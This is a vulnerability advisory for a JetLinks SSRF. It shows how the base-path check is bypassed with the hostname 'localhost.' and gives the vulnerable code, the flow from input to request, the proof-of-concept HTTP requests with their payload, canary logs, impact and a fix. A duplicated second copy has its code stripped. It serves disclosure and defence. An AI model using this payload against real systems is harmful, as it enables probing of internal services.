Summary
The authenticated paths configuration endpoint accepts a caller-controlled base-path. Saving that value emits an asynchronous configuration event, and the verifier requests the supplied URL with /system/config/base-path/verification appended. The implementation blocks only the exact host strings 127.0.0.1 and localhost, so a canonical-equivalent hostname such as localhost. can reach loopback.
Root Cause
The vulnerable source is the paths configuration save operation exposed by SystemConfigManagerController.java:44-49,102-108. The request to POST /system/config/{scope} stores the paths scope and its base-path property. The value is not used only as application configuration; it becomes input to an asynchronous verification request.
ConfigVerificationService.java:61-108 receives the saved configuration event and invokes validation for the paths scope:
@EventListener
public void handleConfigSavedEvent(EntitySavedEvent<ConfigEntity> event) {
event.async(
Flux.fromIterable(event.getEntity())
.filter(config -> Objects.equals(config.getScope(), "paths"))
.flatMap(config ->
doBasePathValidate(config.getProperties().get("base-path")))
);
}
doBasePathValidate appends PATH_VERIFICATION_URI to the supplied base path and parses the result as a URI:
URI uri = URI.create(
CastUtils.castString(basePath)
.concat(PATH_VERIFICATION_URI));
if (Objects.equals(uri.getHost(), "127.0.0.1")) {
return Mono.error(...);
}
if (Objects.equals(uri.getHost(), "localhost")) {
return Mono.error(...);
}
return webClient.get().uri(uri).exchangeToMono(...);
The attacker-controlled source is therefore paths.base-path. It flows through the saved ConfigEntity and the event listener into URI.create, then reaches WebClient.get().uri(uri). The security check compares the unnormalized host string with two literal values; it does not resolve the hostname and compare the resulting address against loopback, private, link-local, or metadata ranges. The hostname localhost. is not equal to localhost during the check but resolves to 127.0.0.1 when the HTTP client connects.
The source-to-sink flow is:
POST /system/config/paths
-> ConfigEntity.properties["base-path"]
-> EntitySavedEvent
-> ConfigVerificationService.doBasePathValidate
-> URI.create(base-path + verification path)
-> literal host checks
-> WebClient.get().uri(uri)
-> target-side HTTP service
POC
- The HTTP canary was
127.0.0.1:28081 and shared the target-side test network namespace
request A:
POST /system/config/paths HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 73
{"base-path":"http://localhost.:28081/poc/jetlinks-community_SSRF-001-A"}
Response A:
HTTP/1.1 200 OK
traceparent: 00-6e873f4744b4eabfecd56ea56d0e0789-961464c0e8a2bd30-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60
{"message":"success","status":200,"timestamp":1785654790840}
request B used the same request with SSRF-001-B in the canary path and returned:
HTTP/1.1 200 OK
traceparent: 00-85025c8253ec8ddd19990c8ce98d2d74-5b6cc5f7dd3da7d9-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 60
{"message":"success","status":200,"timestamp":1785654791932}
Target-side canary evidence:
GET /poc/jetlinks-community_SSRF-001-A/system/config/base-path/verification
source: 127.0.0.1
GET /poc/jetlinks-community_SSRF-001-B/system/config/base-path/verification
source: 127.0.0.1
Impact
An authenticated principal that can write the paths configuration can make JetLinks send HTTP requests to loopback, private-network, link-local, metadata, or other reachable HTTP services. This is blind SSRF and can be used for internal service discovery, triggering internal HTTP actions, or reaching administrative endpoints.
Suggested Fix
Parse and normalize the destination, resolve every hostname, and reject all loopback, private, link-local, multicast, and cloud-metadata addresses for every resolved address. Re-check the destination after DNS resolution and on every redirect, restrict schemes and ports, and prefer an explicit allowlist for base-path hosts.
Summary
The authenticated paths configuration endpoint accepts a caller-controlled base-path. Saving that value emits an asynchronous configuration event, and the verifier requests the supplied URL with /system/config/base-path/verification appended. The implementation blocks only the exact host strings 127.0.0.1 and localhost, so a canonical-equivalent hostname such as localhost. can reach loopback.
Root Cause
The vulnerable source is the paths configuration save operation exposed by SystemConfigManagerController.java:44-49,102-108. The request to POST /system/config/{scope} stores the paths scope and its base-path property. The value is not used only as application configuration; it becomes input to an asynchronous verification request.
ConfigVerificationService.java:61-108 receives the saved configuration event and invokes validation for the paths scope:
doBasePathValidate appends PATH_VERIFICATION_URI to the supplied base path and parses the result as a URI:
The attacker-controlled source is therefore paths.base-path. It flows through the saved ConfigEntity and the event listener into URI.create, then reaches WebClient.get().uri(uri). The security check compares the unnormalized host string with two literal values; it does not resolve the hostname and compare the resulting address against loopback, private, link-local, or metadata ranges. The hostname localhost. is not equal to localhost during the check but resolves to 127.0.0.1 when the HTTP client connects.
The source-to-sink flow is:
POC
127.0.0.1:28081and shared the target-side test network namespacerequest A:
Response A:
request B used the same request with
SSRF-001-Bin the canary path and returned:Target-side canary evidence:
Impact
An authenticated principal that can write the
pathsconfiguration can make JetLinks send HTTP requests to loopback, private-network, link-local, metadata, or other reachable HTTP services. This is blind SSRF and can be used for internal service discovery, triggering internal HTTP actions, or reaching administrative endpoints.Suggested Fix
Parse and normalize the destination, resolve every hostname, and reject all loopback, private, link-local, multicast, and cloud-metadata addresses for every resolved address. Re-check the destination after DNS resolution and on every redirect, restrict schemes and ports, and prefer an explicit allowlist for base-path hosts.